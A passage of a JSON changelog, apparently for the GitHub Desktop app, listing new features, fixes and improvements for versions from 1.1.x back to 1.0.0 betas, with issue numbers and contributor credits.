"[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - #3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with 